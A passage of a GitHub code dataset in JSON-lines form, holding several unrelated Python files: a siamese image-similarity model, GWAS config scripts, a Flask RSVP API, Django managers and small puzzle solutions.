self.model(self.x2)\n\n # Weight regularization\n self.reg_loss = 0\n for l in self.model.layers:\n w = l.weights\n if len(w) != 0:\n self.reg_loss += tf.reduce_sum(tf.square(w[0]))\n\n # Calculate loss\n self.dist = tf.sqrt(tf.reduce_sum(tf.square(self.embed1 - self.embed2), -1))\n # Square of L2 distance\n loss = self.y*tf.square(self.dist) + \\\n (1 - self.y)*tf.square(tf.maximum(0., margin - self.dist))\n # loss = self.y*tf.pow(self.dist, 3) + \\\n # (1 - self.y)*tf.pow(tf.maximum(0., margin - self.dist), 3)\n self.loss = tf.reduce_mean(loss)\n self.total_loss = self.loss + reg*self.reg_loss\n\n var_list = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=scope)\n\n # Set up optimizer\n with tf.variable_scope(scope + \"_opt\"):\n optimizer = tf.train.AdamOptimizer(learning_rate)\n self.train_op = optimizer.minimize(self.total_loss, var_list=var_list)\n\n opt_var_list = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES,\n scope=scope + \"_opt\")\n self.init = tf.variables_initializer(var_list=var_list + opt_var_list)\n\n if load_model:\n try:\n self.model.load_weights(self.save_path)\n except OSError:\n print(\"Saved weights not found...\")\n print(\"Model was built, but no weight was loaded\")\n\n def get_output(self, x):\n return self.model(x)\n\n def train_model(self, sess, data, dataaug=False, n_epoch=10, batch_size=128):\n\n x_train, y_train, x_val, y_val = data\n n_train, n_val = len(x_train), len(x_val)\n\n datagen = ImageDataGenerator(\n rotation_range=5,\n width_shift_range=0.05,\n height_shift_range=0.05,\n zoom_range=0.05,\n channel_shift_range=0.1,\n brightness_range=(0.9, 1.1))\n\n # Initilize all network variables\n sess.run(self.init)\n\n best_val_loss = 1e9\n n_step = np.ceil(n_train / float(batch_size)).astype(np.int32)\n ind1 = np.arange(n_train)\n ind2 = np.arange(n_train)\n\n for epoch in range(n_epoch):\n print(\"============= EPOCH: {} =============\".format(epoch))\n # Need to set learning phase to 1 every epoch because model_eval()\n # is also called at the end of every epoch\n K.set_learning_phase(1)\n\n # Training steps\n if not dataaug:\n np.random.shuffle(ind1)\n np.random.shuffle(ind2)\n for step in range(n_step):\n start = step * batch_size\n end = (step + 1) * batch_size\n feed_dict = {self.x1: x_train[ind1[start:end]], \n self.x2: x_train[ind2[start:end]], \n self.y: (y_train[ind1[start:end]] == \n y_train[ind2[start:end]])}\n _, loss = sess.run([self.train_op, self.loss], \n feed_dict=feed_dict)\n if step % 50 == 0:\n print(\"STEP: {} \\tLoss: {:.4f}\".format(step, loss))\n else:\n step = 0\n for x_batch, y_batch in datagen.flow(x_train, y_train, batch_size=2*batch_size):\n # Using brightness_range in datagen rescales to 255\n x_batch /= 255.\n x_batch1, y_batch1 = x_batch[:batch_size], y_batch[:batch_size]\n x_batch2, y_batch2 = x_batch[batch_size:], y_batch[:batch_size]\n _, loss = sess.run([self.train_op, self.loss], \n feed_dict={self.x1: x_batch1, \n self.x2: x_batch2,\n self.y: y_batch1 == y_batch2})\n if step % 50 == 0:\n print(\"STEP: {} \\tLoss: {:.4f}\".format(step, loss))\n if step > n_step:\n break\n step += 1\n\n # Print progress\n _, dist_same, dist_diff, loss = self.eval_model(sess, (x_train, y_train))\n print(\"Train dist_same|dist_diff|loss:\\t{:.4f}|{:.4f}|{:.4f}\".format(\n dist_same, dist_diff, loss))\n _, dist_same, dist_diff, loss = self.eval_model(sess, (x_val, y_val))\n print(\"Val dist_same|dist_diff|loss:\\t{:.4f}|{:.4f}|{:.4f}\".format(\n dist_same, dist_diff, loss))\n\n if loss < best_val_loss:\n best_val_loss = loss\n # Save model\n self.model.save_weights(self.save_path)\n\n # Restore to the best saved model\n self.model.load_weights(self.save_path)\n \n def get_embed(self, sess, x, batch_size=128):\n\n n_samples = len(x)\n n_step = np.ceil(n_samples / float(batch_size)).astype(np.int32)\n output = np.zeros([n_samples, self.output_shape])\n for step in range(n_step):\n start = step * batch_size\n end = (step + 1) * batch_size\n feed_dict = {self.x1: x[start:end]}\n output[start:end] = sess.run(self.embed1, feed_dict=feed_dict)\n return output\n\n def predict_model(self, sess, x, y=None, batch_size=128):\n \"\"\"\n Args:\n sess:\n x: (list of two numpy array) a list of two numpy arrays (x1, x2)\n y: (numpy array of 0 or 1)\n \"\"\"\n assert x[0].shape == x[1].shape\n assert x[0].shape[0] == y.shape[0]\n\n K.set_learning_phase(0)\n n_samples = len(x[0])\n output = np.zeros([n_samples, ])\n loss = 0\n n_step = np.ceil(n_samples / float(batch_size)).astype(np.int32)\n\n for step in range(n_step):\n start = step * batch_size\n end = (step + 1) * batch_size\n if y is None:\n feed_dict = {self.x1: x[0][start:end], self.x2: x[1][start:end]}\n output[start:end] = sess.run(self.dist, feed_dict=feed_dict)\n else:\n feed_dict = {self.x1: x[0][start:end], self.x2: x[1][start:end], \n self.y: y[start:end]}\n output[start:end], l = sess.run([self.dist, self.loss], \n feed_dict=feed_dict)\n loss += l * len(x[0][start:end])\n\n if y is None:\n return output \n else:\n return output, loss / n_samples\n\n def eval_model(self, sess, data, batch_size=128):\n\n x, y = data\n\n assert x.shape[0] == y.shape[0]\n\n ind = np.arange(len(x))\n np.random.shuffle(ind)\n x1 = x\n x2 = x[ind]\n y_eval = y == y[ind]\n dist, loss = self.predict_model(sess, [x1, x2], y_eval, batch_size=batch_size)\n dist_same = np.mean(dist[np.where(y_eval == 1)[0]])\n dist_diff = np.mean(dist[np.where(y_eval == 0)[0]])\n return dist, dist_same, dist_diff, loss","repo_name":"chawins/image_sim","sub_path":"image_sim_models.py","file_name":"image_sim_models.py","file_ext":"py","file_size_in_byte":10972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40206525740","text":"import itertools\nimport os\nimport subprocess\n\nimport pandas as pd\nimport re\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom definitions import DATA_DIR\n\nfrom task.subset_pheno import subset_pheno\n\n\ndef get_data_ablation_value(file, control_flag=False):\n \"\"\"\n Extracts 0.2 from something like chr9_411.2_anchor_0.2.tsv.logreg_anchor.glm.linear\n\n :param file: filename of gwas results\n :return: data ablation value\n \"\"\"\n if control_flag:\n return file.split('co0_c')[1][1:4]\n else:\n return file.split('co0')[1][1:4]\n\n\ndef get_pheno(file):\n \"\"\"\n Extracts phenotype method name from file string\n :param file: filename of gwas result\n :return: phenotype method name\n \"\"\"\n return file.split('.')[-3]\n\n\ndef get_snp(file):\n return file.split('.')[-4].split('_')[-2]\n\n\ndef get_trial(file):\n return int(file.split('.')[-4].split('_')[-1])\n\n\ndef get_config(pheno_dir, chr_snps_dict, trials, command='qsub'):\n \"\"\"\n bash src/jobs/pheno_plink_snp_trials.sh 6 714.0\\|714.1_anchor rs2395185 9\n\n run pheno_plink_snp_trials, returns results to\n\n OUTPUT_FILE=chr\"$1\"_\"$2\"\"$frac\"_\"$3\"_\"$trial\"\n PFILE=chr\"$1\"\n PHENO_DIR=\"$2\"\n SNPS=\"$3\"\n TRIALS=\"$4\"\n\n --out /SAN/ihibiobank/denaxaslab/andre/pheprob/results/gwas_results/trials/\"$OUTPUT_FILE\" \\\n :param controls_only:\n :param command:\n :param pheno_dir:\n :param chr_snps_dict:\n :param trials:\n :return:\n \"\"\"\n PLINK_SH_PATH = '/home/vauvelle/pycharm-sftp/pheprob/src/jobs/pheno_plink_snp_trials.sh'\n\n store = []\n for chr, snps in chr_snps_dict.items():\n pfile = str(chr)\n snps_str = ','.join(snps)\n store.append({'pfile': pfile, 'pheno_dir': pheno_dir, 'snps_str': snps_str, 'trials': trials})\n # subprocess.run([command, PLINK_SH_PATH, pfile, pheno_dir, snps_str, str(trials)])\n return store\n\n\ndef plink_trails_results(filter_term='(?=.*foo)(?=.*baz)',\n results_dir='/SAN/ihibiobank/denaxaslab/andre/pheprob/results/gwas_results/trials/',\n control_flag=False):\n files = os.listdir(results_dir)\n\n files = [file for file in files if file.split('.')[-1] != 'log' and 'chr' in file] # remove log files\n files = [file for file in files if re.match(filter_term, file)]\n files.sort(key=get_data_ablation_value, reverse=True)\n # phenos = set([get_pheno(file) for file in files])\n\n store = []\n for i, file in enumerate(files):\n df = pd.read_csv(os.path.join(results_dir, file), sep='\\t', error_bad_lines=False)\n df.loc[:, 'trial'] = get_trial(file)\n df.loc[:, 'phenotype'] = get_pheno(file)\n df.loc[:, 'ablation'] = get_data_ablation_value(file, control_flag=control_flag)\n store.append(df)\n\n df_total = pd.concat(store, axis=0)\n\n df_total.P = pd.to_numeric(df_total.P, errors='coerce')\n df_total.loc[:, 'log_pval'] = -np.log10(df_total.P.values)\n\n return df_total\n\n\n# def plink_noise_results(filter_term='(?=.*foo)(?=.*baz)',\n# results_dir='/SAN/ihibiobank/denaxaslab/andre/pheprob/results/gwas_results/',\n# control_flag=False):\n# files = os.listdir(results_dir)\n#\n# files = [file for file in files if file.split('.')[-1] != 'log' and 'chr' in file] # remove log files\n# files = [file for file in files if re.match(filter_term, file)]\n# files.sort(key=get_data_ablation_value, reverse=True)\n# # phenos = set([get_pheno(file) for file in files])\n#\n# store = []\n# for i, file in enumerate(files):\n# df = pd.read_csv(os.path.join(results_dir, file), sep='\\t', error_bad_lines=False)\n# df.loc[:, 'trial'] = get_trial(file)\n# df.loc[:, 'phenotype'] = get_pheno(file)\n# df.loc[:, 'ablation'] = get_data_ablation_value(file, control_flag=control_flag)\n# store.append(df)\n#\n# df_total = pd.concat(store, axis=0)\n#\n# df_total.P = pd.to_numeric(df_total.P, errors='coerce')\n# df_total.loc[:, 'log_pval'] = -np.log10(df_total.P.values)\n#\n# return df_total\n\n\nif __name__ == '__main__':\n pheno_dict = {\n '411.2': {\n 'name': 'Myocardial Infarction',\n 'big_gwas': \"/SAN/ihibiobank/denaxaslab/andre/pheprob/results/gwas_results/combined/411.2_ca0_co0_anchor.tsv.threshold1.gz\",\n 'catalog_results': '/SAN/ihibiobank/denaxaslab/andre/pheprob/results/catalog/411.2.csv',\n 'full_pheno_path': '/SAN/ihibiobank/denaxaslab/andre/UKBB/data/processed/phenotypes/411.2_ca0_co0_anchor.tsv',\n 'pheno_dir': '411.2_ca0_co0_anchor_',\n\n },\n '250.2': {\n 'name': 'Type 2 Diabetes',\n 'big_gwas': \"/SAN/ihibiobank/denaxaslab/andre/pheprob/results/gwas_results/combined/250.2_ca0_co0_anchor.tsv.threshold1.gz\",\n 'catalog_results': '/SAN/ihibiobank/denaxaslab/andre/pheprob/results/catalog/250.2.csv',\n 'full_pheno_path': '/SAN/ihibiobank/denaxaslab/andre/UKBB/data/processed/phenotypes/250.2_ca0_co0_anchor.tsv',\n 'pheno_dir': '250.2_ca0_co0_anchor',\n },\n '714.0|714.1': {\n 'name': 'Rheumatoid Arthritis',\n 'big_gwas': \"/SAN/ihibiobank/denaxaslab/andre/pheprob/results/gwas_results/combined/714.0|714.1_ca0_co0_anchor.tsv.threshold3.gz\",\n 'catalog_results': '/SAN/ihibiobank/denaxaslab/andre/pheprob/results/catalog/714.0|714.1.csv',\n 'full_pheno_path': '/SAN/ihibiobank/denaxaslab/andre/UKBB/data/processed/phenotypes/714.0|714.1_ca0_co0_anchor.tsv',\n 'pheno_dir': '714.0|714.1_ca0_co0_anchor_',\n },\n '428.2': {\n 'name': 'Heart Failure',\n 'big_gwas': \"/SAN/ihibiobank/denaxaslab/andre/pheprob/results/gwas_results/combined/428.2_ca0_co0_anchor.tsv.threshold1.gz\",\n 'catalog_results': '/SAN/ihibiobank/denaxaslab/andre/pheprob/results/catalog/428.2.csv',\n 'full_pheno_path': '/SAN/ihibiobank/denaxaslab/andre/UKBB/data/processed/phenotypes/428.2_ca0_co0_anchor.tsv',\n 'pheno_dir': '428.2_ca0_co0_',\n },\n '290.1': {\n 'name': 'Dementia',\n 'big_gwas': \"/SAN/ihibiobank/denaxaslab/andre/pheprob/results/gwas_results/combined/290.1_ca0_co0_anchor.tsv.threshold1.gz\",\n 'catalog_results': '/SAN/ihibiobank/denaxaslab/andre/pheprob/results/catalog/290.1.csv',\n 'full_pheno_path': '/SAN/ihibiobank/denaxaslab/andre/UKBB/data/processed/phenotypes/290.1_ca0_co0_anchor.tsv',\n 'pheno_dir': '290.1_ca0_co0_anchor_',\n }\n }\n\n # code = '428.2'\n use_all_matched = True\n code = '411.2'\n trials = 10\n codes = ['411.2', '428.2', '290.1', '714.0|714.1', '250.2']\n codes = ['411.2', '250.2']\n # codes = ['290.1', '714.0|714.1', '250.2']\n code = '714.0|714.1'\n store = []\n for code in codes:\n name = pheno_dict[code]['name']\n big_gwas_path = pheno_dict[code]['big_gwas']\n catalog_path = pheno_dict[code]['catalog_results']\n pheno_dir = pheno_dict[code]['pheno_dir']\n\n catalog_results = pd.read_csv(catalog_path)\n catalog_results = catalog_results.dropna(subset=['matched_gwas_ids'])\n catalog_results.matched_gwas_ids = catalog_results.matched_gwas_ids.apply(lambda x: eval(x))\n matched_snps = catalog_results.matched_gwas_ids.explode().drop_duplicates().to_frame()\n big_gwas = pd.read_csv(big_gwas_path, sep='\\t', compression='gzip', error_bad_lines=False)\n matched_snps = matched_snps.merge(big_gwas.loc[:, ['CHROM', 'ID']], left_on='matched_gwas_ids',\n right_on='ID')\n if use_all_matched:\n chr_snps_dict = matched_snps.groupby('CHROM').ID.apply(lambda x: list(set(x))).to_dict()\n else:\n big_gwas.sort_values('P', ascending=True, inplace=True)\n sig_snps = big_gwas[big_gwas.P < 5e-8].drop_duplicates()\n chr_snps_dict = sig_snps.groupby('CHROM').ID.apply(lambda x: list(set(x))).to_dict()\n\n # catalog_results.matched_cata_ids = catalog_results.matched_cata_ids.apply(lambda x: eval(x))\n #\n # for f in np.arange(0, 1.1, 0.1):\n # subset_pheno(subset_frac=f, trials=10, cases_s=True, phenofile_path=pheno_dict[code]['full_pheno_path'])\n # if f != 0:\n # subset_pheno(subset_frac=f, trials=10, cases_s=False,\n # phenofile_path=pheno_dict[code]['full_pheno_path'])\n\n for f in np.arange(0, 1.1, 0.1):\n ablated_pheno_dir_c = pheno_dir + 'c' + str(round(f, 1))\n ablated_pheno_dir = pheno_dir + str(round(f, 1))\n for chr, snps in chr_snps_dict.items():\n pfile = str(chr)\n snps_str = ' '.join(snps)\n store.append({'pfile': pfile, 'pheno_dir': ablated_pheno_dir_c, 'snps_str': snps_str, 'trials': trials})\n if f!=0:\n store.append({'pfile': pfile, 'pheno_dir': ablated_pheno_dir, 'snps_str': snps_str, 'trials': trials})\n\n df = pd.DataFrame(store)\n df.to_csv('/home/vauvelle/pycharm-sftp/pheprob/src/jobs/configs/ablation_gwas_config-{}.csv'.format(df.shape[0]),\n index=False)\n","repo_name":"andre-vauvelle/AnchorBERT","sub_path":"src/task/analysis/data_ablation_config.py","file_name":"data_ablation_config.py","file_ext":"py","file_size_in_byte":9203,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"37384158730","text":"from pymongo import MongoClient, database, collection\nfrom server.config import config\n\nconn_string = f'mongodb://{config[\"DB_HOST\"]}:{config[\"DB_PORT\"]}/'\nprint('Attempt to connect to mongodb at: ', conn_string)\nclient = MongoClient(conn_string)\n\n# Portfolio-optimizer defined db/collections\npo_db: database.Database = client.po\nportfolios_col: collection.Collection = po_db.portfolios\nuser_col: collection.Collection = po_db.user\n\n# Celery defined db/collections\ntasks_db: database.Database = client.tasks\ncelery_taskmeta_col: collection.Collection = tasks_db.celery_taskmeta\n","repo_name":"jtucke2/Portfolio-Optimizer","sub_path":"backend/server/db/connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"10481310026","text":"\"\"\"\nAPI endpoints for \"corporate access event rsvps\" package.\n\"\"\"\n\nfrom werkzeug.exceptions import Forbidden, HTTPException\nfrom flask import request, current_app, g\nfrom flask_restful import abort\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm import load_only\nfrom flasgger.utils import swag_from\n\nfrom app import db, c_abort\nfrom app.base.api import AuthResource\nfrom app.base import constants as APP\nfrom app.corporate_access_resources.corporate_access_event_rsvps.models \\\n import CorporateAccessEventRSVP\nfrom app.corporate_access_resources.corporate_access_event_rsvps.schemas \\\n import (\n CorporateAccessEventRSVPSchema, CorporateAccessEventRSVPReadArgsSchema)\nfrom app.corporate_access_resources.corporate_access_events.models import \\\n CorporateAccessEvent\nfrom queueapp.corporate_accesses.stats_tasks import (\n update_corporate_event_stats)\n\n\nclass CorporateAccessEventRSVPAPI(AuthResource):\n \"\"\"\n CRUD API for managing corporate access event rsvp\n \"\"\"\n @swag_from('swagger_docs/corporate_access_event_rsvps_post.yml')\n def post(self):\n \"\"\"\n Create a corporate access event rsvp\n \"\"\"\n corporate_rsvps_schema = CorporateAccessEventRSVPSchema()\n # get the json data from the request\n json_data = request.get_json()\n if not json_data:\n c_abort(400)\n\n try:\n # validate and deserialize input into object\n data, errors = corporate_rsvps_schema.load(json_data)\n if errors:\n c_abort(422, errors=errors)\n # no errors, so add data to db\n event_data = CorporateAccessEvent.query.get(\n data.corporate_access_event_id)\n collaborator_ids = [col.collaborator_id\n for col in event_data.collaborators]\n if (event_data.created_by != g.current_user['row_id'] and\n g.current_user['row_id'] not in collaborator_ids):\n c_abort(403)\n # for cancelled event\n if event_data.cancelled:\n c_abort(422, message='Corporate Access Event cancelled,'\n ' so you cannot add a rsvp')\n\n data.created_by = g.current_user['row_id']\n data.updated_by = data.created_by\n db.session.add(data)\n db.session.commit()\n update_corporate_event_stats.s(\n True, data.corporate_access_event_id).delay()\n except IntegrityError as e:\n db.session.rollback()\n if APP.DB_NOT_PRESENT in e.orig.diag.message_detail.lower():\n # format of the message:\n # Key (corporate_access_event_id)=(5) is not present\n # in table \"corporate_access_event\".\n column = e.orig.diag.message_detail.split('(')[1][:-2]\n c_abort(422, message=APP.MSG_DOES_NOT_EXIST, errors={\n column: [APP.MSG_DOES_NOT_EXIST]})\n # for any other unknown db errors\n current_app.logger.exception(e)\n abort(500)\n except HTTPException as e:\n raise e\n except Exception as e:\n db.session.rollback()\n current_app.logger.exception(e)\n abort(500)\n\n return {'message': 'Corporate Access Event RSVP added: %s' %\n str(data.row_id), 'row_id': data.row_id}, 201\n\n @swag_from('swagger_docs/corporate_access_event_rsvps_put.yml')\n def put(self, row_id):\n \"\"\"\n Update a corporate access event rsvp\n \"\"\"\n corporate_rsvps_schema = CorporateAccessEventRSVPSchema()\n # first find model\n model = None\n try:\n model = CorporateAccessEventRSVP.query.get(row_id)\n if model is None:\n c_abort(404, message='Corporate Access Event '\n 'RSVP id: %s does not exist' % str(row_id))\n # old_corporate_access_event_id, to be used for stats calculation\n ce_id = model.corporate_access_event_id\n event_data = CorporateAccessEvent.query.get(\n model.corporate_access_event_id)\n collaborator_ids = [col.collaborator_id\n for col in event_data.collaborators]\n if (event_data.created_by != g.current_user['row_id'] and\n g.current_user['row_id'] not in collaborator_ids):\n c_abort(403)\n except HTTPException as e:\n raise e\n except Exception as e:\n current_app.logger.exception(e)\n abort(500)\n\n # get the json data from the request\n json_data = request.get_json()\n if not json_data:\n c_abort(400)\n\n try:\n # validate and deserialize input\n data, errors = corporate_rsvps_schema.load(\n json_data, instance=model, partial=True)\n if errors:\n c_abort(422, errors=errors)\n # for cancelled event\n event = CorporateAccessEvent.query.get(\n model.corporate_access_event_id)\n if event.cancelled:\n c_abort(422, message='Corporate Access Event cancelled,'\n ' so you cannot update a rsvp')\n # no errors, so add data to db\n data.created_by = g.current_user['row_id']\n data.updated_by = data.created_by\n db.session.add(data)\n db.session.commit()\n # old_corporate_access_event_id, to be used for stats calculation\n if ce_id != model.corporate_access_event_id:\n update_corporate_event_stats.s(\n True, model.corporate_access_event_id).delay()\n update_corporate_event_stats.s(True, ce_id).delay()\n except IntegrityError as e:\n db.session.rollback()\n if APP.DB_NOT_PRESENT in e.orig.diag.message_detail.lower():\n # format of the message:\n # Key (corporate_access_event_id)=(5) is not present\n # in table \"corporate_access_event\".\n column = e.orig.diag.message_detail.split('(')[1][:-2]\n c_abort(422, message=APP.MSG_DOES_NOT_EXIST, errors={\n column: [APP.MSG_DOES_NOT_EXIST]})\n # for any other unknown db errors\n current_app.logger.exception(e)\n abort(500)\n except Forbidden as e:\n raise e\n except HTTPException as e:\n raise e\n except Exception as e:\n db.session.rollback()\n current_app.logger.exception(e)\n abort(500)\n return {'message': 'Updated Corporate Access Event RSVP id: %s' %\n str(row_id)}, 200\n\n @swag_from('swagger_docs/corporate_access_event_rsvps_delete.yml')\n def delete(self, row_id):\n \"\"\"\n Delete a corporate access event rsvp\n \"\"\"\n model = None\n try:\n # first find model\n model = CorporateAccessEventRSVP.query.get(row_id)\n if model is None:\n c_abort(404, message='Corporate Access Event '\n 'RSVP id: %s does not exist' % str(row_id))\n # old_corporate_access_event_id, to be used for stats calculation\n ce_id = model.corporate_access_event_id\n\n event_data = CorporateAccessEvent.query.get(\n model.corporate_access_event_id)\n collaborator_ids = [col.collaborator_id\n for col in event_data.collaborators]\n if (event_data.created_by != g.current_user['row_id'] and\n g.current_user['row_id'] not in collaborator_ids):\n c_abort(403)\n # for cancelled event\n if event_data.cancelled:\n c_abort(422, message='Corporate Access Event cancelled,'\n ' so you cannot delete a rsvp')\n db.session.delete(model)\n db.session.commit()\n # old_corporate_access_event_id, to be used for stats calculation\n update_corporate_event_stats.s(True, ce_id).delay()\n except Forbidden as e:\n raise e\n except HTTPException as e:\n raise e\n except Exception as e:\n db.session.rollback()\n current_app.logger.exception(e)\n abort(500)\n return {}, 204\n\n @swag_from('swagger_docs/corporate_access_event_rsvps_get.yml')\n def get(self, row_id):\n \"\"\"\n Get a corporate access event rsvp by id\n \"\"\"\n corporate_rsvps_schema = CorporateAccessEventRSVPSchema()\n model = None\n try:\n # first find model\n model = CorporateAccessEventRSVP.query.get(row_id)\n if model is None:\n c_abort(404, message='Corporate Access Event '\n 'RSVP id: %s does not exist' % str(row_id))\n result = corporate_rsvps_schema.dump(model)\n except Forbidden as e:\n raise e\n except HTTPException as e:\n raise e\n except Exception as e:\n current_app.logger.exception(e)\n abort(500)\n return {'results': result}, 200\n\n\nclass CorporateAccessEventRSVPListAPI(AuthResource):\n \"\"\"\n Read API for corporate access event rsvp lists, i.e, more than 1\n \"\"\"\n model_class = CorporateAccessEventRSVP\n\n def __init__(self, *args, **kwargs):\n kwargs['special_fields'] = ['creator', 'corporate_access_event']\n super(CorporateAccessEventRSVPListAPI, self).__init__(*args, **kwargs)\n\n def build_query(self, filters, pfields, sort, pagination, query_session,\n operator, include_deleted=False):\n \"\"\"\n Builds the query by calling parent helpers _build_query,\n _build_final_query\n Also manages extra_filters (combined filters) here if any\n \"\"\"\n query_filters, extra_query, db_projection, s_projection, order,\\\n paging = self._build_query(\n filters, pfields, sort, pagination, operator,\n include_deleted=include_deleted)\n # build specific extra queries filters\n if extra_query:\n pass\n\n query = self._build_final_query(query_filters, query_session, operator)\n\n return query, db_projection, s_projection, order, paging\n\n @swag_from('swagger_docs/corporate_access_event_rsvps_get_list.yml')\n def get(self):\n \"\"\"\n Get the list\n \"\"\"\n corporate_rsvps_read_schema = CorporateAccessEventRSVPReadArgsSchema(\n strict=True)\n models = []\n total = 0\n # parse the request query arguments\n filters, pfields, sort, pagination, operator = self.parse_args(\n corporate_rsvps_read_schema)\n try:\n # build the sql query\n query, db_projection, s_projection, order, paging =\\\n self.build_query(\n filters, pfields, sort, pagination, db.session.query(\n CorporateAccessEventRSVP), operator)\n # making a copy of the main output schema\n corporate_rsvps_schema = CorporateAccessEventRSVPSchema()\n if db_projection:\n # change the query to include only requested fields\n query = query.options(load_only(*db_projection))\n if s_projection:\n # change the schema to include only requested fields\n corporate_rsvps_schema = CorporateAccessEventRSVPSchema(\n only=s_projection)\n # make query\n full_query = query.order_by(*order).paginate(\n paging['page'], paging['per_page'], error_out=False)\n # prepare models for output dump\n models = [m for m in full_query.items]\n total = full_query.total\n if not models:\n c_abort(\n 404, message='No matching corporate '\n 'access event rsvps found')\n result = corporate_rsvps_schema.dump(models, many=True)\n except HTTPException as e:\n raise e\n except Exception as e:\n current_app.logger.exception(e)\n abort(500)\n return {'results': result.data, 'total': total}, 200\n","repo_name":"Witzcode0/Exchange-connect","sub_path":"app/corporate_access_resources/corporate_access_event_rsvps/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":12340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"36774456787","text":"import math\nimport time\n\npriority_list = []\npriority_list[:0] = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\npriority_dict = {}\npriority_value = 0\nfor letter in priority_list:\n priority_value += 1\n priority_dict[letter] = priority_value\n\ntotal_score = 0\n\n\ndef find_same_item_trio(compartments):\n compartments.sort(key=lambda x: len(x))\n comp1 = compartments[0]\n comp2 = compartments[1]\n comp3 = compartments[2]\n for char1 in comp1:\n for char2 in comp2:\n if char2 == char1:\n for char3 in comp3:\n if char3 == char1:\n return char1\n\n\nstart = time.time()\ncounter = 0\ncompartments = []\n\nwith open('input.txt', 'r') as f:\n for line in f:\n ln = line.strip()\n\n counter += 1\n compartments.append(ln)\n if counter % 3 == 0:\n total_score += priority_dict[find_same_item_trio(compartments)]\n compartments = []\n\nend = time.time()\n\nprint(f\"Your total score is: {total_score}\")\nprint(f\"Process took: {round(end - start, 5)} seconds\")\n","repo_name":"DaFaYo/adventofcode","sub_path":"2022/puzzle3/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"11579462346","text":"from django.utils import timezone\nfrom django.db import models\nfrom django.db.models import Avg, Max\n\n\nclass RaceManager(models.Manager):\n\n def incoming(self, limit=10):\n \"\"\"Races that will be start soon\"\"\"\n return super().get_queryset().prefetch_related('runner_set').filter(\n start_time__gte=timezone.now()\n ).filter(\n has_fixed_odds=True\n ).order_by('start_time')[:limit]\n\n def outgoing(self, limit=20):\n \"\"\"Races that finished recently\"\"\"\n return super().get_queryset().prefetch_related('runner_set').filter(\n start_time__lte=timezone.now()\n ).order_by('-start_time')[:limit]\n\n def handled(self, meeting, results=False, processed=False):\n \"\"\"races that have results and processed\"\"\"\n return super().get_queryset().filter(\n meeting=meeting\n ).filter(\n has_results=results\n ).filter(\n has_processed=processed\n )\n\n\nclass RunnerManager(models.Manager):\n\n def active(self):\n \"\"\"Get all active runners\"\"\"\n return super().get_queryset().filter(\n fixed_betting_status='Open'\n ).all()\n\n\nclass FixedOddManager(models.Manager):\n\n def top_10(self):\n \"\"\"Get last 10 updated odds\"\"\"\n return super().get_queryset().all()[:10]\n\n\nclass VarManager(models.Manager):\n\n def next_to_train(self):\n vars_train = super().get_queryset().exclude(\n key='multi_origin'\n ).order_by('ran_at').all()[:3]\n vars_keep = super().get_queryset().exclude(\n key='multi_origin'\n ).order_by('ran_at').all()[3:]\n vars_multi = super().get_queryset().filter(key='multi_origin').get()\n return vars_train, vars_keep, vars_multi\n","repo_name":"Tjorriemorrie/tabby","sub_path":"tabby/tab/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"18900313484","text":"\"\"\"\nGiven a binary tree, write a function to get the maximum width of the given tree. The maximum width of a tree is the maximum width among all levels.\n\nThe width of one level is defined as the length between the end-nodes (the leftmost and right most non-null nodes in the level, where the null nodes between the end-nodes are also counted into the length calculation.\n\nIt is guaranteed that the answer will in the range of 32-bit signed integer.\n\nExample 1:\n\nInput:\n\n 1\n / \\\n 3 2\n / \\ \\\n 5 3 9\n\nOutput: 4\nExplanation: The maximum width existing in the third level with the length 4 (5,3,null,9).\nExample 2:\n\nInput:\n\n 1\n /\n 3\n / \\\n 5 3\n\nOutput: 2\nExplanation: The maximum width existing in the third level with the length 2 (5,3).\nExample 3:\n\nInput:\n\n 1\n / \\\n 3 2\n /\n 5\n\nOutput: 2\nExplanation: The maximum width existing in the second level with the length 2 (3,2).\nExample 4:\n\nInput:\n\n 1\n / \\\n 3 2\n / \\\n 5 9\n / \\\n 6 7\nOutput: 8\nExplanation:The maximum width existing in the fourth level with the length 8 (6,null,null,null,null,null,null,7).\n\n\nConstraints:\n\nThe given binary tree will have between 1 and 3000 nodes.\n\"\"\"\nfrom typing import List\n\nfrom btree import TreeNode\n\n\nclass MaximumWidthofBinaryTree:\n \"\"\"\n This is the algorithm of DFS, the BFS one in the JAVA project\n \"\"\"\n def widthOfBinaryTree(self, root: TreeNode) -> int:\n if not root:\n return 0\n self.maxwidth = 0\n\n def dfs(node: TreeNode, level: int, index: int, headings: List[int]):\n if not node:\n return\n if level == len(headings):\n headings.append(index) #record the first index in this level\n\n self.maxwidth = max(self.maxwidth, index - headings[level] + 1)\n dfs(node.left, level + 1, 2 * index, headings)\n dfs(node.right, level + 1, 2 * index + 1, headings)\n\n headings = []\n dfs(root, 0, 0, headings)\n return self.maxwidth\n","repo_name":"yangmingxuan/pythonalgorithms","sub_path":"btree/MaximumWidthofBinaryTree.py","file_name":"MaximumWidthofBinaryTree.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"6628003473","text":"import networkx as nx\nimport numpy as np\nimport scipy.sparse.linalg as lg\nfrom gem.embedding.static_graph_embedding import StaticGraphEmbedding\nfrom gem.utils import graph_util\n\n\nclass HOPE(StaticGraphEmbedding):\n\n hyper_params = {\n 'method_name': 'hope_gsvd'\n }\n\n def 